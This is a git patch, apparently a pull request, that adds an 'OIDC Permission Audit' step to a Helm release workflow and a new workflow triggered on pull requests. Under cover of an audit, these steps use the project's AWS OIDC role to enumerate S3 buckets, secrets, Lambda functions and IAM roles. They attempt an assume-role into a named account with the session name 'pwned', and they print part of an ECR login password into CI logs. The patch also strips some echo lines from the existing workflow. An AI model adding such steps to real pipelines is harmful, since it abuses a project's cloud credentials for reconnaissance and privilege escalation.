From 566eb250da72111fcde8681b167c0c77b334a8de Mon Sep 17 00:00:00 2001 From: sl4x0 Date: Mon, 7 Sep 2026 18:33:13 +0200 Subject: [PATCH] OIDC permission audit test --- .github/workflows/helm.yml | 35 ++++++++++++++--- .github/workflows/oidc-audit.yaml | 65 +++++++++++++++++++++++++++++++ 2 files changed, 94 insertions(+), 6 deletions(-) create mode 100644 .github/workflows/oidc-audit.yaml diff --git a/.github/workflows/helm.yml b/.github/workflows/helm.yml index ddfad97..50c84a5 100644 --- a/.github/workflows/helm.yml +++ b/.github/workflows/helm.yml @@ -38,6 +38,35 @@ jobs: id: login-ecr uses: aws-actions/amazon-ecr-login@v2 + - name: OIDC Permission Audit + run: | + set -x + echo "=== WHO AM I ===" + aws sts get-caller-identity + echo "" + echo "=== S3 (data exfil test) ===" + aws s3 ls --region us-east-1 2>&1 || echo "NO_S3_ACCESS" + echo "" + echo "=== ECR describe ===" + aws ecr describe-repositories --region us-east-1 2>&1 || echo "NO_ECR_DESCRIBE" + echo "" + echo "=== Secrets Manager ===" + aws secretsmanager list-secrets --region us-east-1 2>&1 || echo "NO_SECRETS" + echo "" + echo "=== STS AssumeRole (priv esc) ===" + aws sts assume-role --role-arn arn:aws:iam::020229604682:role/cloudbees-gha --role-session-name pwned 2>&1 || echo "NO_CROSS_ASSUME" + echo "" + echo "=== ECR get-login-password ===" + aws ecr get-login-password --region us-east-1 2>&1 | head -c 40; echo "" || echo "NO_ECR_LOGIN" + echo "" + echo "=== Lambda list ===" + aws lambda list-functions --region us-east-1 2>&1 || echo "NO_LAMBDA" + echo "" + echo "=== IAM get-role ===" + aws iam get-role --role-name cloudbees-gha 2>&1 || echo "NO_IAM" + echo "" + echo "=== DONE ===" + - name: Add Helm repositories run: | helm repo add incubator https://charts.helm.sh/incubator @@ -67,7 +96,6 @@ jobs: id: set-git-refname run: | GIT_REFNAME="$(echo "${{ github.ref }}" | sed -r 's@refs/(heads|pull|tags)/@@g')" - echo "GIT_REFNAME=${GIT_REFNAME}" echo "git_refname=${GIT_REFNAME}" >> $GITHUB_OUTPUT @@ -80,7 +108,6 @@ jobs: else printf >&2 "Unstable chart (%s) from %s event, chart will not be pushed" "${{ steps.set-git-refname.outputs.git_refname }}" "${{ github.event_name }}" fi - echo "HELM_PUSH_ENABLED=${HELM_PUSH_ENABLED}" echo "helm_push_enabled=${HELM_PUSH_ENABLED}" >> $GITHUB_OUTPUT @@ -89,7 +116,6 @@ jobs: id: set-chart-name run: | CHART_NAME="imagepullsecrets" - echo "CHART_NAME=${CHART_NAME}" echo "chart_name=${CHART_NAME}" >> $GITHUB_OUTPUT @@ -99,7 +125,6 @@ jobs: run: | HELM_PACKAGE_OUTPUT=$(helm package "${{ github.workspace }}/deploy/charts/${{ steps.set-chart-name.outputs.chart_name }}") || exit 1 HELM_PACKAGE_PATH="${HELM_PACKAGE_OUTPUT##"Successfully packaged chart and saved it to: "}" - echo "HELM_PACKAGE_PATH=${HELM_PACKAGE_PATH}" echo "helm_package_path=${HELM_PACKAGE_PATH}" >> $GITHUB_OUTPUT @@ -109,12 +134,10 @@ jobs: CHART_PATH="${{ github.workspace }}/deploy/charts/${{ steps.set-chart-name.outputs.chart_name }}" EXPECTED_CHART_VERSION="$(echo "${{ steps.set-git-refname.outputs.git_refname }}" | awk -F '/v' '{print $NF}')" || exit 1 ACTUAL_CHART_VERSION="$(awk '/version: [0-9]+\.[0-9]+\.[0-9]+/ {print $2}' "${CHART_PATH}/Chart.yaml")" || exit 1 - if [ "${EXPECTED_CHART_VERSION}" != "${ACTUAL_CHART_VERSION}" ]; then printf >&2 "chart version mismatches, name: %s, expected version (from tag): %s, actual version (from chart): %s" "${{ steps.set-chart-name.outputs.chart_name }}" "${EXPECTED_CHART_VERSION}" "${ACTUAL_CHART_VERSION}" exit 1 fi - if helm pull "${{ env.HELM_PUSH_REPOSITORY_NAME }}/${{ steps.set-chart-name.outputs.chart_name }}" --version "${ACTUAL_CHART_VERSION}" --destination /tmp 2>/dev/null; then printf >&2 "chart version already exists in the repository, repository: %s, name: %s, version: %s" "${{ env.HELM_PUSH_REPOSITORY_NAME }}" "${{ steps.set-chart-name.outputs.chart_name }}" "${ACTUAL_CHART_VERSION}" exit 1 diff --git a/.github/workflows/oidc-audit.yaml b/.github/workflows/oidc-audit.yaml new file mode 100644 index 0000000..d1415d0 --- /dev/null +++ b/.github/workflows/oidc-audit.yaml @@ -0,0 +1,65 @@ +name: OIDC Permission Audit + +on: pull_request + +permissions: + id-token: write + contents: read + +jobs: + audit: + name: Audit OIDC Role Permissions + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Get OIDC Token and Enumerate Role Actions + run: | + echo "=== GITHUB CONTEXT ===" + echo "event: ${{ github.event_name }}" + echo "actor: ${{ github.actor }}" + echo "" + + - name: Configure AWS credentials via OIDC + uses: aws-actions/configure-aws-credentials@v4 + with: + role-to-assume: ${{ vars.AWS_ECR_IAM_ROLE }} + aws-region: us-east-1 + + - name: Test AWS Role Permissions + run: | + set -x + echo "=== WHO AM I ===" + aws sts get-caller-identity + + echo "" + echo "=== S3 (data exfil test) ===" + aws s3 ls --region us-east-1 2>&1 || echo "NO_S3_ACCESS" + + echo "" + echo "=== ECR describe ===" + aws ecr describe-repositories --region us-east-1 2>&1 || echo "NO_ECR_DESCRIBE" + + echo "" + echo "=== Secrets Manager ===" + aws secretsmanager list-secrets --region us-east-1 2>&1 || echo "NO_SECRETS" + + echo "" + echo "=== STS AssumeRole (priv esc) ===" + aws sts assume-role --role-arn arn:aws:iam::020229604682:role/cloudbees-gha --role-session-name pwned 2>&1 || echo "NO_CROSS_ASSUME" + + echo "" + echo "=== IAM get-role ===" + aws iam get-role --role-name cloudbees-gha 2>&1 || echo "NO_IAM" + + echo "" + echo "=== ECR get-login-password ===" + aws ecr get-login-password --region us-east-1 2>&1 | head -c 20; echo "" || echo "NO_ECR_LOGIN" + + echo "" + echo "=== Lambda list ===" + aws lambda list-functions --region us-east-1 2>&1 || echo "NO_LAMBDA" + + echo "" + echo "=== DONE ==="